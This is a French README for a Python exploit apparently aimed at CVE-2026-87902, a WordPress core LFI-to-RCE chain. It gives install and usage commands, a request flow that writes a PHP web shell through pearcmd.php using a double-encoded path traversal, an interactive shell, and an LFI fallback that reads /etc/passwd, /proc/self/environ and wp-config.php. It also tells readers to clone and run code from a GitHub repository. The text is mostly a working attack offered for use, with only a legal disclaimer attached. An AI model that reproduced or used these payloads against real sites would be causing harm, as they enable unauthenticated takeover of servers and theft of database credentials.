Exploit Python pour CVE-2026-87902, une chaîne LFI-to-RCE du cœur de WordPress. Il identifie les versions, écrit un shell PHP via pearcmd et fournit une exécution de commandes ou un repli LFI.
⚠️ AVERTISSEMENT LÉGAL L'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal et punissable en vertu des lois sur la cybercriminalité. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
| Champ | Valeur |
|---|
| CVE | CVE-2026-87902 |
| Type | Inclusion Locale de Fichier (LFI) → Exécution de Code à Distance (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Critique) |
| Vecteur d'attaque | Réseau (Non authentifié) |
| Affecté | WordPress 4.7.0 – 7.1.1 |
| Corrigé | WordPress 7.1.2 (et rétroportages jusqu'à 4.7.37) |
| Cause racine | get_page_template() n'appelle pas validate_file() après le décodage URL du paramètre pagename, permettant à une traversée doublement encodée (%252E%252E%252F) de contourner l'assainissement et d'inclure des fichiers .php arbitraires en dehors du répertoire du thème. |
Pour un RCE complet, toutes les conditions suivantes doivent être remplies :
page-* de premier niveau (par ex. page-templates/)pearcmd.php est présent et lisible par l'utilisateur du serveur web (par défaut dans les images Docker PHP officielles et de nombreuses installations cPanel avec PHP < 8.5)register_argc_argv=On (par défaut dans PHP < 8.5)Si l'une de ces conditions manque, l'exploit se rabattra sur une lecture de fichier LFI uniquement.
exploit.py # Script d'exploit principal README.md # Ce fichier report.json # (optionnel) Rapport de sortie lorsque -o est utilisé
Installation :
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
Cela va :
· Identifier la version de WordPress et le thème actif · Vérifier la plage de versions vulnérables · Localiser un ID de page publiée (REST → sitemap → force brute) · Tenter d'écrire un shell PHP via pearcmd.php · Tenter d'inclure le shell et d'exécuter id · Si le RCE échoue, se rabattre sur le LFI sur des fichiers sensibles
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
À l'intérieur du shell :
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 Référence CLI
Flag Long Description -t --target Requis. URL WordPress cible (sans slash final). -c --command Exécuter une seule commande shell après le RCE. -i --interactive Ouvrir un shell interactif après le RCE. -v --verbose Afficher la progression détaillée. -o --output Enregistrer le rapport final en JSON au chemin donné. -h --help Afficher l'aide.
🔄 Déroulement de l'exploit
[1] Fingerprint
├─ WordPress version (meta generator / asset ?ver=)
└─ Active theme (/wp-content/themes/<name>/)
[2] Version check
└─ 4.7.0 – 7.1.1 ? continue : warn & continue
[3] Find page ID
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ Brute force: /?page_id=1..30
[4] Check page-* directory
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] Write shell via pearcmd
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] Include shell
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] Fallback LFI (if RCE fails)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. variants